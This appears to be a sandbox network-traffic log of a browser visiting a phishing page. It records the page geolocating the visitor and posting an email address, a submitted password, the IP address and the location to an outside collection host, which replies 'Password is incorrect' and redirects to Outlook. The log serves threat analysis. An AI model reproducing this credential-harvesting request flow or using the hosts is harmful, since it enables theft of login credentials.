2024-10-07 18:59:30 UTC	646	IN	Data Raw: 34 34 30 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 2c Data Ascii: 440{"ipVersion":4,"ipAddress":"8.46.123.33","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,
2024-10-07 18:59:30 UTC	449	IN	Data Raw: 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4a 75 6e 65 61 75 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4c 6f 75 69 73 76 69 6c 6c 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4d 6f 6e 74 69 63 65 6c 6c 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 6e 6f 6d 69 6e 65 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 74 6c 61 6b 61 74 6c 61 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 6d 65 Data Ascii: ndiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome
2024-10-07 18:59:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49796	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:30 UTC	749	OUT	POST /redirect_tos/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 74 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:30 UTC	74	OUT	Data Raw: 65 6d 61 69 6c 3d 64 73 79 68 72 65 25 34 30 6f 6c 67 6f 6f 6e 69 6b 2e 63 6f 6d 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 73 6c 75 67 3d 72 65 64 69 72 65 63 74 5f 74 6f Data Ascii: email=dsyhre%40olgoonik.com&NAMEOFTHEGUY=SHAZORNvm5OmnWE3&slug=redirect_to
2024-10-07 18:59:30 UTC	705	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:30 GMT Content-Type: application/json Content-Length: 39 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YhT7IWrZKz3XpdfXznFpKc2YI9Xq%2Bk%2FDDQvbHSoN6XmnrNTruzSln2AQa7FycI1MJkswzfzWLlWW6qqoC2x0niPIBl1p8NYEy%2F03pXiALl2YbBuQWntVJCQEXzXR3TQxt2Nl3Sw8hIZYHhE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020f40bd042c6-EWR
2024-10-07 18:59:30 UTC	39	IN	Data Raw: 7b 22 74 6f 22 3a 20 22 68 74 74 70 73 3a 2f 2f 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 22 7d Data Ascii: {"to": "https://outlook.office365.com"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49797	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:30 UTC	754	OUT	POST /check_expirations/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 51 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:30 UTC	51	OUT	Data Raw: 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 73 6c 75 67 3d 63 68 65 63 6b 5f 65 78 70 69 72 61 74 69 6f 6e Data Ascii: NAMEOFTHEGUY=SHAZORNvm5OmnWE3&slug=check_expiration
2024-10-07 18:59:30 UTC	703	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:30 GMT Content-Type: application/json Content-Length: 17 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MynvNF0MGLh9C%2BCZGhxxutv8sA7s%2BumVhsM1rqPfO4nBAbZK6Xnab2a6GOGbI3hNVOBOLSKGhRpnq7B04J9Qssvh5XIcAEKrpwiNyYTBJYTkKfmH34Tn6OMLmcBWqYByvTEUKOeQllB6nfs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020f42809438b-EWR
2024-10-07 18:59:30 UTC	17	IN	Data Raw: 7b 22 65 78 70 69 72 65 64 22 3a 20 22 6e 6f 22 7d Data Ascii: {"expired": "no"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49799	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:31 UTC	361	OUT	GET /redirect_tos/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:31 UTC	775	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OtwkLzzcT%2BC1oIDc0MqDGcS%2FoRDLFOx8AlGmGHHCDIeHPuD%2F4ZAULuq8lFAa4eTDsSI%2F6yTlI%2FXmEt5Tksurnq%2BT%2BeTR3kXahOL%2FYGu9Es2ZHXTOy1VqHMzKSglFWd8jEv4ggJkoXaed8xo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf020f8dae87cae-EWR
2024-10-07 18:59:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49801	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:31 UTC	366	OUT	GET /check_expirations/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:31 UTC	771	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TV%2FV%2FfoAR%2BMTrt0qJztXQ%2BPArL9JZ5hqNxmjSAq1zrFBy2rg5%2FeRdRxBwV13%2FiWCaIEWvARFhHlYseMHZv9hHl1kvOdxpVPSSdocWwfJMS55ZetLH8VSYehKl1GoRalgcm2mERCXNpvzwyc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf020fada844295-EWR
2024-10-07 18:59:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49802	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:31 UTC	743	OUT	POST /psszs/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 184 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:31 UTC	184	OUT	Data Raw: 65 6d 61 69 6c 3d 64 73 79 68 72 65 25 34 30 6f 6c 67 6f 6f 6e 69 6b 2e 63 6f 6d 26 70 73 73 7a 73 3d 67 72 65 73 67 73 67 73 65 67 65 73 67 73 26 6f 72 67 61 7a 69 6e 61 74 69 6f 6e 3d 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 63 69 74 79 3d 4e 65 77 2b 59 6f 72 6b 2b 43 69 74 79 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 73 6c 75 67 3d 70 73 73 7a 26 54 79 70 65 5f 50 61 67 65 3d 4c 69 6e 6b Data Ascii: email=dsyhre%40olgoonik.com&psszs=gresgsgsegesgs&orgazination=&ip=8.46.123.33&city=New+York+City&country=United+States+of+America&NAMEOFTHEGUY=SHAZORNvm5OmnWE3&slug=pssz&Type_Page=Link
2024-10-07 18:59:48 UTC	705	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:48 GMT Content-Type: application/json Content-Length: 33 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LEaToJGA1ErdSLfkHkuQd46nnHJJlfF7MD1JuiPsTpBFw9RTNmspjUQp%2BSXdgtTT3j1Ew86K51vxvpxJOjLkklul3eGfs2zC1sFachbDt9O428Hs5LahLcxvYMkDPsH5c%2FxTyu0snLI%2BZI8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020fba8ddc34a-EWR
2024-10-07 18:59:48 UTC	33	IN	Data Raw: 7b 22 64 6f 6e 65 22 3a 20 22 50 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d Data Ascii: {"done": "Password is incorrect"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49803	188.114.97.3	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:31 UTC	346	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:31 UTC	725	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:31 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 56 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GEHBkhbIIAsI9VUDo6dPGZ8FPWd5ygdiY0qP7PxcnOOs%2FBBarAKmVhRY%2F60%2BzHgvCWk5y4iQPgM3D5mrbO1BcVkn8bZm1eiIKLPdzXxI08GnR9qoMXN7DtLe5lAgpLA4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020fbb995c360-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 18:59:31 UTC	644	IN	Data Raw: 34 34 30 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 2c Data Ascii: 440{"ipVersion":4,"ipAddress":"8.46.123.33","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,
2024-10-07 18:59:31 UTC	451	IN	Data Raw: 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4a 75 6e 65 61 75 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4c 6f 75 69 73 76 69 6c 6c 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4d 6f 6e 74 69 63 65 6c 6c 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 6e 6f 6d 69 6e 65 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 74 6c 61 6b 61 74 6c 61 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f Data Ascii: /Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/No
2024-10-07 18:59:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49804	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:32 UTC	615	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
2024-10-07 18:59:32 UTC	1201	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:32 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-J9pKLDo_n0WqY3Fz34Sqlw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:32 UTC	189	IN	Data Raw: 32 37 33 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f Data Ascii: 2737<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/goo
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4a 39 70 4b 4c 44 6f 5f 6e 30 57 71 59 33 46 7a 33 34 53 71 6c 77 22 3e 77 69 6e 64 6f 77 2e 5f 68 73 74 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4a 39 70 4b 4c 44 6f 5f 6e 30 57 71 59 33 46 7a 33 34 53 71 6c 77 Data Ascii: gleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="J9pKLDo_n0WqY3Fz34Sqlw">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="J9pKLDo_n0WqY3Fz34Sqlw
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 22 29 2b 22 3f 61 74 79 70 3d 69 26 63 74 3d 22 2b 53 74 72 69 6e 67 28 61 29 2b 22 26 63 61 64 3d 22 2b 28 62 2b 65 2b 64 29 7d 3b 6d 3d 67 6f 6f 67 6c 65 2e 6b 45 49 3b 67 6f 6f 67 6c 65 2e 67 65 74 45 49 3d 70 3b 67 6f 6f 67 6c 65 2e 67 65 74 4c 45 49 3d 71 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 6b 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 65 3b 63 7c 7c 28 63 3d 74 28 61 2c 62 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 Data Ascii: ")+"?atyp=i&ct="+String(a)+"&cad="+(b+e+d)};m=google.kEI;google.getEI=p;google.getLEI=q;google.ml=function(){return null};google.log=function(a,b,c,d,k,e){e=e===void 0?l:e;c\|\|(c=t(a,b,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 6c 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 66 22 29 3d 3d 3d 22 31 22 3b 62 72 65 61 6b 20 61 7d 61 3d 21 31 7d 61 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 21 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 68 73 3d 7b 68 3a 74 72 75 65 2c 6e 68 73 3a 66 61 6c 73 65 2c 73 69 65 3a 66 61 6c 73 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 63 3d 7b 62 74 66 69 3a 66 61 6c 73 65 2c 63 34 74 3a 74 72 75 65 2c 63 61 66 3a 66 61 6c 73 65 2c 63 61 70 3a 32 30 30 30 2c 63 66 72 3a 66 61 6c 73 65 2c 63 6c 69 3a 74 72 75 65 2c Data Ascii: lement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);(function(){google.hs={h:true,nhs:false,sie:false};})();(function(){google.c={btfi:false,c4t:true,caf:false,cap:2000,cfr:false,cli:true,
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 3d 3d 22 30 70 78 22 29 29 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 68 3d 65 28 61 29 2c 6b 3d 68 2e 6c 65 66 74 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 2c 6d 3d 68 2e 74 6f 70 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 2c 6e 3d 68 2e 77 69 64 74 68 2c 66 3d 68 2e 68 65 69 67 68 74 2c 67 3d 30 3b 69 66 28 21 62 26 26 66 3c 3d 30 26 26 6e 3c 3d 30 29 72 65 74 75 72 6e 20 67 3b 62 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 6d 2b 66 3c 30 3f 67 3d 32 3a 6d 3e 3d 62 26 26 28 67 3d 34 29 3b 69 66 28 6b 2b 6e Data Ascii: =="0px")):!1}function ea(a,b,c,d,e){var h=e(a),k=h.left+(c?0:window.pageXOffset),m=h.top+(c?0:window.pageYOffset),n=h.width,f=h.height,g=0;if(!b&&f<=0&&n<=0)return 